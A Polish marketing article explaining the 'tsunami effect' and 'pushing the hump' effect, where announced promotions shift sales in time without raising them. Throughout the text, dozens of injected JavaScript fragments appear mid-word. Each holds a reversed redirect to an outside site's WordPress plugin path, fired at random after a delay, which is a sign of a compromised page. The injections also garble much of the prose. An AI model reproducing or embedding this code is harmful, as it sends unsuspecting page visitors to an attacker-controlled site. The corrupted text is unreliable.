Gdy w ląd uderza tsunami, zanim uderza fala, najpierw woda się cofa. A toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dopiero potem przychodzi spiętrzenie. To efekt tego, że tsunami nie zwiększa ilości wody, tylko ją przemieszcza. Bardzo częs toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to tak właśnie jest z promocjami. Szczególnie takimi, które są regularne, albo które ogłasza się z wyprzedzeniem. One nie zwiększają sprzedaży. Tylko przesuwają ją w czasie. Ale na pierwszy rzut oka wygląda tak, jakby zwiększały.
Jak działa promocja?
W założeniu tak. Krótkookresowo zwiększa sprzedaż.
W założeniu na promocji się zyskuje toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dodatkową sprzedaż. Ale przy efekcie tsunami jest inaczej. Najpierw sprzedaż spada, w oczekiwaniu na promocję. A następnie rośnie. W sumie jest taka sama, albo nawet mniejsza. Jak jednak działa efekt tsunami?
Efekt tsunami
Efekt tsunami działa tak. Woda najpierw się cofa, a następnie powraca w postaci wysokiej fali sprzedaży.
Skąd ten mechanizm? Z zachowania klientów. Jeśli ci toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowiedzą się o promocji wcześniej, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to mogą zmienić swoje zachowania zakupowe. I poczekać z zakupami na tę promocję. Chwilowo je wstrzymując.
Uwaga. „produkty inwestycyjne”. Efekt tsunami nie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dotyczy produktów impulsowych. Czy dóbr częstego zakupu, gdzie trudno przez jakiś czas nie kupować, jak np. masła. Ale toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dotyczy tych produktów, które można nazwać inwestycyjnymi, gdzie klient planuje zakupy z wyprzedzeniem. To może być odzież, ale też np. produkty bankowe czy ubezpieczeniowe.
Efekt tsunami toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jeszcze nie najgorsze, co może spotkać firmę, która urządza promocje. Może być gorzej. Przesunięcie sprzedaży może toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dotyczyć nie tylko okresu sprzed promocji, ale i po. To można nazwać efektem przepychania górki.
Może być jeszcze efekt przepychania górki
Czyli efekt zmniejszenia zakupów po promocji.
Efekt przepychania górki polega na tym, że klienci „obkupują się” na zapas w czasie promocji, wykorzystując korzystne ceny. A wtedy produktów starcza im na jakiś czas, więc chwilowo wstrzymują zakupy.
Razem nie jest więcej
A czasami nawet jest mniej. Gdyż produkty w promocji są tańsze, częs toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to mają niższą marżę. I nawet jeśli klienci kupili tyle samo, dla firmy tyle samo nie jest. Do tego toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dochodzi koszt urządzenia promocji, zgromadzenia zapasu, poinformowania klienta.
Produkty w promocji są mniej opłacalne dla sprzedającego. Są tańsze, z niższą marżą, częs toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to trzeba ich dużo zamówić.
Uwaga. „producent widzi toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to inaczej”. Dla niego promocje są bardzo opłacalne, nawet jeśli dzieli się ich kosztami. To nie on przecież ponosi koszty sprzedażowe, ale przede wszystkim zwykle zyskuje zwiększone zamówienie. I co najważniejsze, jego produkt zostaje wyróżniony wśród innych. Dla niego nie ma znaczenia łączna sprzedaż, na czym zależy sprzedającemu i czego toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dotyczy zarówno efekt tsunami, jak i przepychania górki. On chce sprzedać tylko swój produkt, najlepiej kosztem innych producentów. Więc efekt tsunami go nie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dotyczy, nawet jeśli stracił, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to stracili też jego konkurenci. A on zbierze śmietankę trakcie trwania promocji.
Zarówno tsunami, jak i przepychanie górki trudno zauważyć
Gdyż są toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zjawiska bardziej równomiernie rozłożone w czasie niż sprzedaż w trakcie promocji. Tu nie ma spiętrzenia i efektu wykorzystywania sytuacji, czasem obawy, że nie starczy.
Uwaga. „promocje okresowe”. Jeśli firma stale robi promocje, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie widać trendu. Gdyż nie ma poziomu odniesienia. Tym bardziej trudno uchwycić poziom tła, żeby ocenić, czy ma miejsce efekt tsunami czy przepychania górki.
Pomiar. O ile wiele firm mierzy efekt promocji, toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to rzadko już toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, co działo się przed i po, szczególnie właśnie w okresie promocji. Częs toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to też efekt tsunami i przepychania górki toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dotyczy innych produktów, więc i tu trudno zauważyć prawidłowość. Trend nigdy nie jest jednoznaczny, zawsze też podlega fluktuacjom. I można tak naprawdę obronić każdą tezę.
Rozproszenie sprzedaży. Sprzedaż promocyjna zwiększa sprzedaż produktów promocyjnych, a efekt tsunami wszystkiego. Trudno więc jednoznacznie stwierdzić, co tak naprawdę zmniejszyło sprzedaż. A także trudno toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ustalić, gdyż jednostkowo, na poziomie konkretnego produktu sprzedaż na ogół spada nieznacznie. Dopiero razem widać jakiś efekt.
Uwaga. „w promocji wzrost skoncentrowany jest na produktach promocyjnych”. Przez co łatwo go zauważyć. Tymczasem zarówno w efekcie tsunami jak i w przepychaniu górki efekt toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dotyczy całej sprzedaży u wszystkich produktów. A wtedy trudno toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowieść, że toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to właśnie dlatego.
Poziom odniesienia. Bez poziomu odniesienia nie da się zauważyć zarówno efektu tsunami, jak i przepychania górki. W tsunami jest toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to poziom morza, w efekcie tsunami trend sprzedażowy. Ale ten zawsze jest dyskusyjny, częs toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to podlega fluktuacjom, zresztą wpływa na niego wiele czynników. I jednoznaczne określenie, który i jak wpływa jest bardzo subiektywne. Tej subiektywności sprzyja jeszcze niska motywacja, żeby toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dociec prawdy.
Niska motywacja. Osoby które urządzają promocję, nie są tak naprawdę zainteresowane prawdą. Tylko sukcesem. Są z niego rozliczane, poza tym trzeba wykazać sukces toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dostawcy. Więc nikt nie toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doszukuje się prawdy. Wystarczy pokazać, że w czasie promocji sprzedaż wzrosła.
Podsumowanie
Firmy częs toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to urządzają promocje. Klienci ich oczekują, a sprzedający mają wrażenie, że toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zwiększa ich sprzedaż. I faktycznie najczęściej tak jest, ale tylko w okresie promocji. Firma może za toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zapłacić przed, ale czasem też po promocji. Przed promocją klienci wstrzymują zakupy, w oczekiwaniu na promocję. To efekt cofającej się wody, czyli efekt tsunami. A po promocji klienci konsumują toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, co już kupili. I toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to efekt przepychania górki.